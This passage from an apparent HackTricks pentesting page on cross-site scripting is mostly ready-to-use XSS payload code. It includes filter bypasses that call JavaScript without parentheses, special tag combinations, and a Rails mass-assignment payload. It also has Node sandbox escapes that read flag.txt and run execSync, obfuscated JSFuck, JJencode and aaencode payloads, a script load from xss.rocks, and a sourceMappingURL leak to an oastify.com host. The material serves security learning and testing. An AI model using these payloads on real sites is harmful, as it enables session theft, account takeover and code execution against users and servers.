 String.fromCharCode(13)
 alert("//\ralert(1)") //0x0d
 String.fromCharCode(8232)
 alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
 
 **JavaScript whitespaces**
 
 ```javascript
 log=[];
 function funct(){}
   for(let i=0;i<=0x10ffff;i++){
       try{
         eval(`funct${String.fromCodePoint(i)}()`);
         log.push(i);
       }
       catch(e){}
   }
 console.log(log)
 //9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
 
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
 
 **Javascript inside a comment**
 
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send
 
 //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
 ```
 
 **JavaScript without parentheses**
 
 ```javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
 x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
   // or any DOMXSS sink such as location=name
 
 // Backtips
   // Backticks pass the string as an array of length 1
 alert`1`
 
 // Backtips + Tagged Templates + call/apply
 eval`alert\x281\x29` // This won't work as it will just return the passed array
 setTimeout`alert\x281\x29`
 eval.call`${'alert\x281\x29'}`
 eval.apply`${[`alert\x281\x29`]}`
 [].sort.call`${alert}1337`
 [].map.call`${eval}\\u{61}lert\x281337\x29`
 
   // To pass several arguments you can use
 function btt(){
     console.log(arguments);
 }
 btt`${'arg1'}${'arg2'}${'arg3'}`
 
   //It's possible to construct a function and call it
 Function`x${'alert(1337)'}x`
 
   // .replace can use regexes and call a function if something is found
 "a,".replace`a${alert}` // Initial ["a"] is passed as "a,", so the initial string is "a,"
 "a".replace.call`1${/./}${alert}`
   // This happened in the previous example
   // Change "this" value of call to "1,"
   // match anything with regex /./
   // call alert with "1"
 "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
 
   // Use Reflect.apply to call any function with arbitrary arguments
 Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
 Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
   // Using Reflect.set to call set any value to a variable
 Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
 
 
 // valueOf, toString
   // These operations are called when the object is used as a primitive
   // The object is passed as "this"; alert() needs "window", so use window methods
 valueOf=alert;window+''
 toString=alert;window+''
 
 
 // Error handler
 window.onerror=eval;throw"=alert\x281\x29";
 onerror=eval;throw"=alert\x281\x29";
 <img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
 {onerror=eval}throw"=alert(1)" //No ";"
 onerror=alert //No ";" using new line
 throw 1337
   // Error handler + Special unicode separators
 eval("onerror=\u2028alert\u2029throw 1337");
   // Error handler + Comma separator
   // The comma separator goes through the list and returns only the last element
 var a = (1,2,3,4,5,6) // a = 6
 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
 throw onerror=alert,1,1,1,1,1,1337
   // optional exception variables inside a catch clause.
 try{throw onerror=alert}catch{throw 1}
 
 
 // Has instance symbol
 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
   // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
 
 ```
 
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
 **Arbitrary function (alert) call**
 
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
 setTimeout('ale'+'rt(2)');
 setInterval('ale'+'rt(10)');
 Function('ale'+'rt(10)')``;
 [].constructor.constructor("alert(document.domain)")``
 []["constructor"]["constructor"]`$${alert()}```
 import('data:text/javascript,alert(1)')
 
 //General function executions
 `` //Can be use as parenthesis
 alert`document.cookie`
 alert(document['cookie'])
 with(document)alert(cookie)
 (alert)(1)
 (alert(1))in"."
 a=alert,a(1)
 [1].find(alert)
 window['alert'](0)
 parent['alert'](1)
 self['alert'](2)
 top['alert'](3)
 this['alert'](4)
 frames['alert'](5)
 content['alert'](6)
 [7].map(alert)
 [8].find(alert)
 [9].every(alert)
 [10].filter(alert)
 [11].findIndex(alert)
 [12].forEach(alert);
 top[/al/.source+/ert/.source](1)
 top[8680439..toString(30)](1)
 Function("ale"+"rt(1)")();
 new Function`al\ert\`6\``;
 Set.constructor('ale'+'rt(13)')();
 Set.constructor`al\x65rt\x2814\x29```;
 $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
 x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
 this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
 globalThis[`al`+/ert/.source]`1`
 this[`al`+/ert/.source]`1`
 [alert][0].call(this,1)
 window['a'+'l'+'e'+'r'+'t']()
 window['a'+'l'+'e'+'r'+'t'].call(this,1)
 top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
 (1,2,3,4,5,6,7,8,alert)(1)
 x=alert,x(1)
 [1].find(alert)
 top["al"+"ert"](1)
 top[/al/.source+/ert/.source](1)
 al\u0065rt(1)
 al\u0065rt`1`
 top['al\145rt'](1)
 top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
 
 ## **DOM vulnerabilities**
 
 There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
 **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss)**:**
 
 
 [Dom Xss](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss)
 
 There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\
 Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#dom-clobbering).
 
 ### Upgrading Self-XSS
 
 ### Cookie XSS
 
 If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
 
 
 [Cookie Tossing](/hacktricks/pentesting-web/hacking-with-cookies/cookie-tossing)
 
 You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).<sup>[[9]](#references)</sup>
 
 ### Sending your session to the admin
 
 Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
 
 ### Session Mirroring
 
 If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
 
 You could make the **administrator trigger your self XSS** and steal his cookies/session.
 
 ## Other Bypasses
 
 ### Bypassing sanitization via WASM linear-memory template overwrite
 
 When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
 
 Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
 
 [Wasm Linear Memory Template Overwrite Xss](/hacktricks/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss)
 
 
 ### Normalised Unicode
 
 You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 
 ```javascript
 "><svg/onload=confirm(1)>"@x.y
 ```
 
 ### Ruby-On-Rails bypass
 
 Because of **Ruby on Rails mass assignment**, quotes are inserted into the HTML, bypassing the quote restriction and allowing additional fields such as `onfocus` inside the tag.\
 Form example ([from this report](https://hackerone.com/reports/709336)), if you send the payload:<sup>[[10]](#references)</sup>
 
 ```text
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
 
 The pair "Key","Value" will be echoed back like this:
 
 ```text
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
 
 Then, the onfocus attribute will be inserted and XSS occurs.
 
 ### Special combinations
 
 ```html
 <iframe/src="data:text/html,<svg onload=alert(1)>">
 <input type=image src onerror="prompt(1)">
 <svg onload=alert(1)//
 <img src="https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src//README.md" =_=" title="onerror='prompt(1)'">
 <img src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/1' onerror='alert(0)' <
 <script x> alert(1) </script 1=2
 <script x>alert('XSS')<script y>
 <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
 <svg////////onload=alert(1)>
 <svg id=x;onload=alert(1)>
 <svg id=`x`onload=alert(1)>
 <img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
 <script>$=1,alert($)</script>
 <script ~~~>confirm(1)</script ~~~>
 <script>$=1,\u0061lert($)</script>
 <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
 <</script/script><script ~~~>\u0061lert(1)</script ~~~>
 </style></scRipt><scRipt>alert(1)</scRipt>
 <img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
 <svg><x><script>alert('1'&#41</x>
 <iframe src=""/srcdoc='<svg onload=alert(1)>'>
 <svg><animate onbegin=alert() attributeName=x></svg>
 <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
 <img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
 (function(x){this[x+`ert`](1)})`al`
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
 
 ### XSS with header injection in a 302 response
 
 If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
 
 In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.<sup>[[11]](#references)[[12]](#references)</sup>\
 Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
 ### Only Letters, Numbers and Dots
 
 If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
 
 ### Valid `<script>` Content-Types to XSS
 
 (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
 The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 
 ```c
 const char* const kSupportedJavascriptTypes[] = {
     "application/ecmascript",
     "application/javascript",
     "application/x-ecmascript",
     "application/x-javascript",
     "text/ecmascript",
     "text/javascript",
     "text/javascript1.0",
     "text/javascript1.1",
     "text/javascript1.2",
     "text/javascript1.3",
     "text/javascript1.4",
     "text/javascript1.5",
     "text/jscript",
     "text/livescript",
     "text/x-ecmascript",
     "text/x-javascript",
 };
 
 ```
 
 ### Script Types to XSS
 
 (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, which types could be indicated to load a script?
 
 ```html
 <script type="???"></script>
 ```
 
 The answer is:
 
 - **module** (default, nothing to explain)
 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles is a feature that you can package a bunch of data (HTML, CSS, JS…) together into a **`.wbn`** file.
 
 ```html
 <script type="webbundle">
   {
      "source": "https://example.com/dir/subresources.wbn",
      "resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
   }
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
 
 - [**importmap**](https://github.com/WICG/import-maps)**:** Allows to improve the import syntax
 
 ```html
 <script type="importmap">
   {
     "imports": {
       "moment": "/node_modules/moment/src/moment.js",
       "lodash": "/node_modules/lodash-es/lodash.js"
     }
   }
 </script>
 
 <!-- With importmap you can do the following -->
 <script>
   import moment from "moment"
   import { partition } from "lodash"
 </script>
 ```
 
 This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) to remap a library to eval to abuse it can trigger XSS.<sup>[[13]](#references)</sup>
 
 - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** This feature is mainly to solve some problems caused by pre-rendering. It works like this:
 
 ```html
 <script type="speculationrules">
   {
     "prerender": [
       { "source": "list", "urls": ["/page/2"], "score": 0.5 },
       {
         "source": "document",
         "if_href_matches": ["https://*.wikipedia.org/**"],
         "if_not_selector_matches": [".restricted-section *"],
         "score": 0.1
       }
     ]
   }
 </script>
 ```
 
 ### Web Content-Types to XSS
 
 (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
 - text/plain (?? not in the list but I think I saw this in a CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
 In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
 If the page returns a `text/xml` content type, a namespace declaration may enable arbitrary JavaScript execution:
 
 ```xml
 <xml>
 <text>hello<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
 </xml>
 
 <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
 ```
 
 ### Special Replacement Patterns
 
 When something like **`"some {{template}} data".replace("{{template}}", <user_input>)`** is used. The attacker could use [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) to try to bypass some protections: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
 For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.<sup>[[14]](#references)</sup>
 
 ### Chrome Cache to XSS
 
 
 [Chrome Cache To Xss](/hacktricks/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss)
 
 ### XS Jails Escape
 
 If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:
 
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
 eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
 
 // use of with
 with(console)log(123)
 with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
   // Just replace console.log(1) to the real code, the code we want to run is:
   //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
 with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
 with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
 with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
 
   //Final solution
 with(
   /with(String)
     with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
       with(mainModule)
         with(require(k))
           return(String(readFileSync(n)))
   /)
 with(this)
   with(constructor)
     constructor(source)()
 
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
 
 If **everything is undefined** before executing untrusted code (like in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) it's possible to generate useful objects "out of nothing" to abuse the execution of arbitrary untrusted code:<sup>[[15]](#references)</sup>
 
 - Using import()
 
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 
 - Accessing `require` indirectly
 
 [According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules are wrapped by Node.js within a function, like this:<sup>[[16]](#references)</sup>
 
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
   // our actual module code
 })
 ```
 
 Therefore, if from that module we can **call another function**, it's possible to use `arguments.callee.caller.arguments[1]` from that function to access **`require`**:
 
 ```javascript
 ;(function () {
   return arguments.callee.caller.arguments[1]("fs").readFileSync(
     "/flag.txt",
     "utf8"
   )
 })()
 ```
 
 In a similar way to the previous example, it's possible to **use error handlers** to access the **wrapper** of the module and get the **`require`** function:
 
 ```javascript
 try {
   null.f()
 } catch (e) {
   TypeError = e.constructor
 }
 Object = {}.constructor
 String = "".constructor
 Error = TypeError.prototype.__proto__.constructor
 function CustomError() {
   const oldStackTrace = Error.prepareStackTrace
   try {
     Error.prepareStackTrace = (err, structuredStackTrace) =>
       structuredStackTrace
     Error.captureStackTrace(this)
     this.stack
   } finally {
     Error.prepareStackTrace = oldStackTrace
   }
 }
 function trigger() {
   const err = new CustomError()
   console.log(err.stack[0])
   for (const x of err.stack) {
     // Use x.getFunction() to obtain Node.js's outer wrapper, then read its arguments
     const fn = x.getFunction()
     console.log(String(fn).slice(0, 200))
     console.log(fn?.arguments)
     console.log("=".repeat(40))
     if ((args = fn?.arguments)?.length > 0) {
       req = args[1]
       console.log(req("child_process").execSync("id").toString())
     }
   }
 }
 trigger()
 ```
 
 ### Obfuscation & Advanced Bypass
 
 - **Different obfuscations in one page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
 - More sophisticated JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
 
 ```javascript
 //Katana
 <script>
   ([,ウ,,,,ア]=[]+{}
   ,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
 </script>
 ```
 
 ```javascript
 //JJencode
 <script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
 ```
 
 ```javascript
 //JSFuck
 <script>
   (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
 </script>
 ```
 
 ```javascript
 //aaencode
 ﾟωﾟﾉ = /｀ｍ´）ﾉ ~┻━┻   / /*´∇｀*/["_"]
 o = ﾟｰﾟ = _ = 3
 c = ﾟΘﾟ = ﾟｰﾟ - ﾟｰﾟ
 ﾟДﾟ = ﾟΘﾟ = (o ^ _ ^ o) / (o ^ _ ^ o)
 ﾟДﾟ = {
   ﾟΘﾟ: "_",
   ﾟωﾟﾉ: ((ﾟωﾟﾉ == 3) + "_")[ﾟΘﾟ],
   ﾟｰﾟﾉ: (ﾟωﾟﾉ + "_")[o ^ _ ^ (o - ﾟΘﾟ)],
   ﾟДﾟﾉ: ((ﾟｰﾟ == 3) + "_")[ﾟｰﾟ],
 }
 ﾟДﾟ[ﾟΘﾟ] = ((ﾟωﾟﾉ == 3) + "_")[c ^ _ ^ o]
 ﾟДﾟ["c"] = (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ - ﾟΘﾟ]
 ﾟДﾟ["o"] = (ﾟДﾟ + "_")[ﾟΘﾟ]
 ﾟoﾟ =
   ﾟДﾟ["c"] +
   ﾟДﾟ["o"] +
   (ﾟωﾟﾉ + "_")[ﾟΘﾟ] +
   ((ﾟωﾟﾉ == 3) + "_")[ﾟｰﾟ] +
   (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] +
   ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] +
   ((ﾟｰﾟ == 3) + "_")[ﾟｰﾟ - ﾟΘﾟ] +
   ﾟДﾟ["c"] +
   (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] +
   ﾟДﾟ["o"] +
   ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ]
 ﾟДﾟ["_"] = (o ^ _ ^ o)[ﾟoﾟ][ﾟoﾟ]
 ﾟεﾟ =
   ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] +
   ﾟДﾟ.ﾟДﾟﾉ +
   (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] +
   ((ﾟｰﾟ == 3) + "_")[o ^ _ ^ (o - ﾟΘﾟ)] +
   ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] +
   (ﾟωﾟﾉ + "_")[ﾟΘﾟ]
 ﾟｰﾟ += ﾟΘﾟ
 ﾟДﾟ[ﾟεﾟ] = "\\"
 ﾟДﾟ.ﾟΘﾟﾉ = (ﾟДﾟ + ﾟｰﾟ)[o ^ _ ^ (o - ﾟΘﾟ)]
 oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
